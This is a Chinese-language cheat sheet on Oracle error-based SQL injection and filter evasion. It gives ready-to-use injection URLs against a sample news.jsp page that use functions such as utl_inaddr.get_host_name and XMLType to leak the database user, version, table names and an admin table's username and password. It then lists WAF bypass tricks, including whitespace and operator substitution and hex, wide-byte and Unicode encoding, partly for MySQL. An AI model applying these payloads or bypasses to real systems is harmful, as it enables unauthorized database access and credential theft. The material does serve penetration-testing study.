oracle報錯注入總結
oracle 報錯注入是比較簡單的一類oracle注入。
它可以直接返回資料庫版本、名稱、表、欄位等資訊,可以直接獲取資料庫資訊。從而不用通過爆破方式直接獲取資料庫資訊。
參考連結:
https://mp.weixin.qq.com/s/hIBNN5YbTmy1dWFB_lt57A
https://blog.csdn.net/weixin_30342827/article/details/99546927
https://blog.csdn.net/prahs/article/details/75109545
0x00前言
在oracle注入時候出現了資料庫報錯資訊,可以優先選擇報錯注入,使用報錯的方式將查詢資料的結果帶出到錯誤頁面中。
使用報錯注入需要使用類似 1=[報錯語句],1>[報錯語句],使用比較運算子,這樣的方式進行報錯注入(MYSQL僅使用函式報錯即可),類似mssql報錯注入的方式。
判斷注入
http://www.jsporcle.com/news.jsp?id=1 and (select count (*) from user_tables)>0 -- http://www.jsporcle.com/news.jsp?id=1 and (select count (*) from dual)>0 --
0x01報錯函式注入
utl_inaddr.get_host_name()進行報錯注入
and 1=utl_inaddr.get_host_name((select user from dual))-- http://www.jsporcle.com/news.jsp?id=1 and 1=utl_inaddr.get_host_name((select user from dual))--
utl_inaddr.get_host_address本意是獲取ip 地址,但是如果傳遞引數無法得到解析就會返回一個oracle 錯誤並顯示傳遞的引數。
如果我們傳遞的是一個sql 語句所以返回的就是語句執行的結果。oracle 在啟動之後,把一些系統變數都放置到一些特定的檢視當中,可以利用這些檢視獲得想要的東西。通常非常重要的資訊有:
ctxsys.drithsx.sn()進行報錯注入
http://www.jsporcle.com/news.jsp?id=1 and 1=ctxsys.drithsx.sn(1,(select user from dual)) --
XMLType()進行報錯注入
and (select upper(XMLType(chr(60)||chr(58)||(select user from dual)||chr(62))) from dual) is not null -- http://www.jsporcle.com/news.jsp?id=1 and (select upper(XMLType(chr(60)%7c%7cchr(58)%7c%7c(select user from dual)%7c%7cchr(62))) from dual) is not null --
dbms_xdb_version.checkin()進行報錯注入
and (select dbms_xdb_version.checkin((select user from dual)) from dual) is not null -- 查詢版本資訊 http://www.jsporcle.com/news.jsp?id=1 and (select dbms_xdb_version.checkin((select banner from sys.v_$version where rownum=1)) from dual) is not null --
bms_xdb_version.makeversioned()進報錯注入
and (select dbms_xdb_version.makeversioned((select user from dual)) from dual) is not null --
dbms_xdb_version.uncheckout()進行報錯注入
and (select dbms_xdb_version.uncheckout((select user from dual)) from dual) is not null --
dbms_utility.sqlid_to_sqlhash()進行報錯注入
and (SELECT dbms_utility.sqlid_to_sqlhash((select user from dual)) from dual) is not null --
ordsys.ord_dicom.getmappingxpath()進行報錯注入
and 1=ordsys.ord_dicom.getmappingxpath((select user from dual),user,user)--
decode進行報錯注入
這種方式更偏向布林型注入,因為這種方式並不會通過報錯把查詢結果回顯回來,僅是用來作為頁面的表現不同的判斷方法。
and 1=(select decode(substr(user,1,1),'S',(1/0),0) from dual) --
0x02報錯函式注入資料
Oracle 資料庫的注入不同於其他資料庫,如Access 和Mysql,它包含了幾個系統表,這幾個系統表裡儲存了系統資料庫的表名和列名,如user_tab_columns,all_tab_columns,all_tables,user_tables系統表就儲存了使用者的所有的表、列名,其中table_name表示的是系統裡的表名,column_name裡的是系統裡存在的列名
爆庫第一行記錄
http://www.jsporcle.com/news.jsp?id=1 and 1=utl_inaddr.get_host_name((select (SELECT DISTINCT owner FROM all_tables where rownum=1) from dual))--
爆表第一行第一個記錄
http://www.jsporcle.com/news.jsp?id=1 and 1=utl_inaddr.get_host_name((select table_name from user_tables where rownum=1)) --
第二個記錄
http://www.jsporcle.com/news.jsp?id=1 and 1=utl_inaddr.get_host_name((select table_name from user_tables where rownum=1 and table_name not in ('LOGMNR_SESSION_EVOLVE$'))) --
報錯admin表的 使用者和密碼
http://www.jsporcle.com/news.jsp?id=1 and 1=utl_inaddr.get_host_name((select (select username%7c%7cpassword from admin)from dual))--
0x03 繞過關鍵詞過濾方法
參考連結 https://www.cnblogs.com/joker-vip/p/12698962.html
方法一:空格繞過法
3.1.1空格繞過
必過替換/*%23%0a*/
1)/**/
2)()
3)回車(url編碼中的%0a)
4)`(tap鍵上面的按鈕)
5)tap
6)兩個空格
eg:union/**/select/**/1,2
select(passwd)from(users) #注意括號中不能含有*
select`passwd`from`users`
3.1.2過濾or and xor(異或)not 繞過
and = &&
or = ||
xor = |
not = !
3.1.3過濾等號=繞過
1)不加萬用字元的like執行的效果和=一致,所以可以用來繞過。
eg:UNION SELECT 1,group_concat(column_name) from information_schema.columns where table_name like "users"
2)rlike:模糊匹配,只要欄位的值中存在要查詢的 部分就會被選擇出來,用來取代=時,rlike的用法和上面的like一樣,沒有萬用字元效果和=一樣
eg:UNION SELECT 1,group_concat(column_name) from information_schema.columns where table_name rlike "users"
3)regexp:MySQL中使用REGEXP操作符來進行正則表示式匹配
eg:UNION SELECT 1,group_concat(column_name) from information_schema.columns where table_name regexp"users"
4)使用大小於號來繞過
eg:select* from users where id > 1 and id < 3
5)<>等價於!=,所以在前面再加一個!結果就是等號了
eg:select* from users where !(id <> 1)
3.1.4過濾引號繞過
1)使用十六進位制
eg:UNION SELECT 1,group_concat(column_name) from information_schema.columns where table_name=0x61645F6C696E6B
2)寬位元組,常用在web應用使用的字符集為GBK時,並且過濾了引號,就可以試試寬位元組。%27表示'(單引號),單引號會被轉義成\'
eg:%E6' union select 1,2 #
%df%27 union select 1,2,3#
3.1.5過濾逗號繞過
1)如果waf過濾了逗號,並且只能盲注,在取子串的幾個函式中,有一個替代逗號的方法就是使用from pos for len,其中pos代表從pos個開始讀取len長度的子串
eg:常規寫法select substr("string",1,3)
若過濾了逗號,可以使用from pos for len來取代selectsubstr("string" from 1 for 3)
sql盲注中select ascii(substr(database() from 1 for 1)) > 110
2)也可使用join關鍵字來繞過
eg:select* from users union select * from (select 1)a join (select 2)b join(select 3)c
上式等價於unionselect 1,2,3
3)使用like關鍵字,適用於substr()等提取子串的函式中的逗號
eg:selectuser() like "t%"
上式等價於selectascii(substr(user(),1,1))=114
5)使用offset關鍵字,適用於limit中的逗號被過濾的情況,limit 2,1等價於limit 1 offset 2
eg:select* from users limit 1 offset 2
上式等價於select* from users limit 2,1
3.1.6過濾函式繞過
1)sleep() -->benchmark()
MySQL有一個內建的BENCHMARK()函式,可以測試某些特定操作的執行速度。引數可以是需要執行的次數和表示式。第一個引數是執行次數,第二個執行的表示式
eg:select1,2 and benchmark(1000000000,1)
2)ascii()–>hex()、bin(),替代之後再使用對應的進位制轉string即可
3)group_concat()–>concat_ws(),第一個引數為分隔符
eg:mysql> select concat_ws(",","str1","str2")
4)substr(),substring(),mid()可以相互取代,取子串的函式還有left(),right()
5)user() --> @@user、datadir–>@@datadir
6)ord()–>ascii():這兩個函式在處理英文時效果一樣,但是處理中文等時不一致。
方法二:編碼
1)十六進位制繞過
eg:UNION SELECT 1,group_concat(column_name) from information_schema.columns where table_name=0x61645F6C696E6B
2)ascii編碼繞過
eg:Test=CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)
3)Unicode編碼
常用的幾個符號的一些Unicode編碼:
單引號: %u0027、%u02b9、%u02bc、%u02c8、%u2032、%uff07、%c0%27、%c0%a7、%e0%80%a7
空格:%u0020、%uff00、%c0%20、%c0%a0、%e0%80%a0
左括號:%u0028、%uff08、%c0%28、%c0%a8、%e0%80%a8
右括號:%u0029、%uff09、%c0%29、%c0%a9、%e0%80%a9
之前專案針對特殊字元都進行過濾,後嘗試unicode編碼一把全過。